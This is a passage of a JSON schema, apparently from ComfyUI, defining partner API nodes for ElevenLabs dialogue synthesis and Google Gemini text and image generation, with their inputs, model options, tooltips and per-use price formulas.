1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "3", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "4", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "5", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "6", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "7", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}], "text7": ["STRING", {"tooltip": "Text content for dialogue entry 7.", "default": "", "multiline": true}], "voice7": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 7. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "8", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}], "text7": ["STRING", {"tooltip": "Text content for dialogue entry 7.", "default": "", "multiline": true}], "voice7": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 7. Connect from Voice Selector or Instant Voice Clone."}], "text8": ["STRING", {"tooltip": "Text content for dialogue entry 8.", "default": "", "multiline": true}], "voice8": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 8. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "9", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}], "text7": ["STRING", {"tooltip": "Text content for dialogue entry 7.", "default": "", "multiline": true}], "voice7": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 7. Connect from Voice Selector or Instant Voice Clone."}], "text8": ["STRING", {"tooltip": "Text content for dialogue entry 8.", "default": "", "multiline": true}], "voice8": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 8. Connect from Voice Selector or Instant Voice Clone."}], "text9": ["STRING", {"tooltip": "Text content for dialogue entry 9.", "default": "", "multiline": true}], "voice9": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 9. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "10", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}], "text7": ["STRING", {"tooltip": "Text content for dialogue entry 7.", "default": "", "multiline": true}], "voice7": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 7. Connect from Voice Selector or Instant Voice Clone."}], "text8": ["STRING", {"tooltip": "Text content for dialogue entry 8.", "default": "", "multiline": true}], "voice8": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 8. Connect from Voice Selector or Instant Voice Clone."}], "text9": ["STRING", {"tooltip": "Text content for dialogue entry 9.", "default": "", "multiline": true}], "voice9": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 9. Connect from Voice Selector or Instant Voice Clone."}], "text10": ["STRING", {"tooltip": "Text content for dialogue entry 10.", "default": "", "multiline": true}], "voice10": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 10. Connect from Voice Selector or Instant Voice Clone."}]}}}]}], "language_code": ["STRING", {"tooltip": "ISO-639-1 or ISO-639-3 language code (e.g., 'en', 'es', 'fra'). Leave empty for automatic detection.", "default": "", "multiline": false}], "seed": ["INT", {"tooltip": "Seed for reproducibility.", "default": 1, "min": 0, "max": 4294967295}], "output_format": ["COMBO", {"tooltip": "Audio output format.", "multiselect": false, "options": ["mp3_44100_192", "opus_48000_192"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["stability", "apply_text_normalization", "model", "inputs", "language_code", "seed", "output_format"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsTextToDialogue", "display_name": "ElevenLabs Text to Dialogue", "description": "Generate multi-speaker dialogue from text. Each dialogue entry has its own text and voice.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.24,\"format\":{\"approximate\":true,\"suffix\":\"/1K chars\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text inputs to the model, used to generate a response. You can include detailed instructions, questions, or context for the model.", "default": "", "multiline": true}], "model": ["COMBO", {"tooltip": "The Gemini model to use for generating responses.", "default": "gemini-3-1-pro", "multiselect": false, "options": ["gemini-2.5-pro", "gemini-2.5-flash", "gemini-3-pro-preview", "gemini-3-1-pro", "gemini-3-1-flash-lite"]}], "seed": ["INT", {"tooltip": "When seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional image(s) to use as context for the model. To include multiple images, you can use the Batch Images node."}], "audio": ["AUDIO", {"tooltip": "Optional audio to use as context for the model."}], "video": ["VIDEO", {"tooltip": "Optional video to use as context for the model."}], "files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}], "system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["images", "audio", "video", "files", "system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "GeminiNode", "display_name": "Google Gemini", "description": "Generate text responses with Google's Gemini AI model. You can provide multiple types of inputs (text, images, audio, video) as context for generating more relevant and meaningful responses.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/text/Gemini", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"gemini-2.5-flash\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0003, 0.0025],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\"}\n }\n : $contains($m, \"gemini-2.5-pro\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00125, 0.01],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : ($contains($m, \"gemini-3-pro-preview\") or $contains($m, \"gemini-3-1-pro\")) ? {\n \"type\": \"list_usd\",\n \"usd\": [0.002, 0.012],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gemini-3-1-flash-lite\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00025, 0.0015],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : {\"type\":\"text\", \"text\":\"Token-based\"}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiNodeV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text input to the model. Include detailed instructions, questions, or context.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The Gemini model used to generate the response.", "options": [{"key": "Gemini 3.1 Pro", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}], "audio": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional audio clip to use as context for the model.", "template": {"input": {"required": {"audio": ["AUDIO", {}]}}, "names": ["audio_1"], "min": 0}}], "video": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video clip to use as context for the model.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1"], "min": 0}}], "thinking_level": ["COMBO", {"tooltip": "How hard the model reasons internally before answering. HIGH improves quality on difficult tasks but costs more (thinking) tokens and is slower.", "default": "HIGH", "multiselect": false, "options": ["LOW", "HIGH"]}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. Lower is more focused/deterministic, higher is more creative.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling: sample from the smallest token set whose cumulative probability reaches top_p.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "max_output_tokens": ["INT", {"tooltip": "Maximum tokens to generate, including the model's internal thinking. With thinking_level HIGH, a low value can leave no room for the answer; raise this if responses come back empty or truncated. The model stops early when finished, so a higher cap costs nothing extra for short replies.", "advanced": true, "default": 32768, "min": 16, "max": 65536}]}, "optional": {"files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Input Files node."}]}}}, {"key": "Gemini 3.1 Flash-Lite", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}], "audio": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional audio clip to use as context for the model.", "template": {"input": {"required": {"audio": ["AUDIO", {}]}}, "names": ["audio_1"], "min": 0}}], "video": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video clip to use as context for the model.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1"], "min": 0}}], "thinking_level": ["COMBO", {"tooltip": "How hard the model reasons internally before answering. HIGH improves quality on difficult tasks but costs more (thinking) tokens and is slower.", "default": "LOW", "multiselect": false, "options": ["LOW", "HIGH"]}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. Lower is more focused/deterministic, higher is more creative.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling: sample from the smallest token set whose cumulative probability reaches top_p.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "max_output_tokens": ["INT", {"tooltip": "Maximum tokens to generate, including the model's internal thinking. With thinking_level HIGH, a low value can leave no room for the answer; raise this if responses come back empty or truncated. The model stops early when finished, so a higher cap costs nothing extra for short replies.", "advanced": true, "default": 32768, "min": 16, "max": 65536}]}, "optional": {"files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Input Files node."}]}}}]}], "seed": ["INT", {"tooltip": "Seed for sampling. Set to 0 for a random seed. Deterministic output isn't guaranteed.", "default": 42, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate the model's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "GeminiNodeV2", "display_name": "Google Gemini", "description": "Generate text responses with Google's Gemini models. Provide a text prompt and, optionally, one or more images, audio clips, videos, or files as multimodal context.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/text/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"lite\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00025, 0.0015],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n } : {\n \"type\": \"list_usd\",\n \"usd\": [0.002, 0.012],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n )\n "}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "GeminiImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for generation", "default": "", "multiline": true}], "model": ["COMBO", {"tooltip": "The Gemini model to use for generating responses.", "multiselect": false, "options": ["gemini-2.5-flash-image"]}], "seed": ["INT", {"tooltip": "When seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional image(s) to use as context for the model. To include multiple images, you can use the Batch Images node."}], "files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}], "aspect_ratio": ["COMBO", {"tooltip": "Defaults to matching the output image size to that of your input image, or otherwise generates 1:1 squares.", "default": "auto", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "9:16", "16:9", "21:9"]}], "response_modalities": ["COMBO", {"tooltip": "Choose 'IMAGE' for image-only output, or 'IMAGE+TEXT' to return both the generated image and a text response.", "advanced": true, "multiselect": false, "options": ["IMAGE+TEXT", "IMAGE"]}], "system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "You are an expert image-generation engine. You must ALWAYS produce an image.\nInterpret all user input\u2014regardless of format, intent, or abstraction\u2014as literal visual directives for image composition.\nIf a prompt is conversational or lacks specific visual details, you must creatively invent a concrete visual scenario that depicts the concept.\nPrioritize generating the visual representation above any text, formatting, or conversational requests.", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["images", "files", "aspect_ratio", "response_modalities", "system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING"], "output_is_list": [false, false], "output_name": ["IMAGE", "STRING"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "GeminiImageNode", "display_name": "Nano Banana (Google Gemini Image)", "description": "Edit images synchronously via Google API.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/image/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.039,\"format\":{\"suffix\":\"/Image (1K)\",\"approximate\":true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiImage2Node": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt describing the image to generate or the edits to apply. Include any constraints, styles, or details the model should follow.", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["gemini-3-pro-image-preview", "Nano Banana 2 (Gemini 3.1 Flash Image)"]}], "seed": ["INT", {"tooltip": "When the seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "aspect_ratio": ["COMBO", {"tooltip": "If set to 'auto', matches your input image's aspect ratio; if no image is provided, a 16:9 square is usually generated.", "default": "auto", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "9:16", "16:9", "21:9"]}], "resolution": ["COMBO", {"tooltip": "Target output resolution. For 2K/4K the native Gemini upscaler is used.", "multiselect": false, "options": ["1K", "2K", "4K"]}], "response_modalities": ["COMBO", {"tooltip": "Choose 'IMAGE' for image-only output, or 'IMAGE+TEXT' to return both the generated image and a text response.", "advanced": true, "multiselect": false, "options": ["IMAGE+TEXT", "IMAGE"]}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional reference image(s). To include multiple images, use the Batch Images node (up to 14)."}], "files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}], "system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "You are an expert image-generation engine. You must ALWAYS produce an image.\nInterpret all user input\u2014regardless of format, intent, or abstraction\u2014as literal visual directives for image composition.\nIf a prompt is conversational or lacks specific visual details, you must creatively invent a concrete visual scenario that depicts the concept.\nPrioritize generating the visual representation above any text, formatting, or conversational requests.", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "aspect_ratio", "resolution", "response_modalities"], "optional": ["images", "files", "system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING"], "output_is_list": [false, false], "output_name": ["IMAGE", "STRING"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "GeminiImage2Node", "display_name": "Nano Banana Pro (Google Gemini Image)", "description": "Generate or edit images synchronously via Google Vertex API.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/image/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $r := widgets.resolution;\n $isFlash := $contains($m, \"nano banana 2\");\n $flashPrices := {\"1k\": 0.0696, \"2k\": 0.1014, \"4k\": 0.154};\n $proPrices := {\"1k\": 0.134, \"2k\": 0.134, \"4k\": 0.24};\n $prices := $isFlash ? $flashPrices : $proPrices;\n {\"type\":\"usd\",\"usd\": $lookup($prices, $r), \"format\":{\"suffix\":\"/Image\",\"approximate\":true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiNanoBanana2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt describing the image to generate or the edits to apply. Include any constraints, styles, or details the model should follow.", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["Nano Banana 2 (Gemini 3.1 Flash Image)"]}], "seed": ["INT", {"tooltip": "When the seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "aspect_ratio": ["COMBO", {"tooltip": "If set to 'auto', matches your input image's aspect ratio; if no image is provided, a 16:9 square is usually generated.", "default": "auto", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", 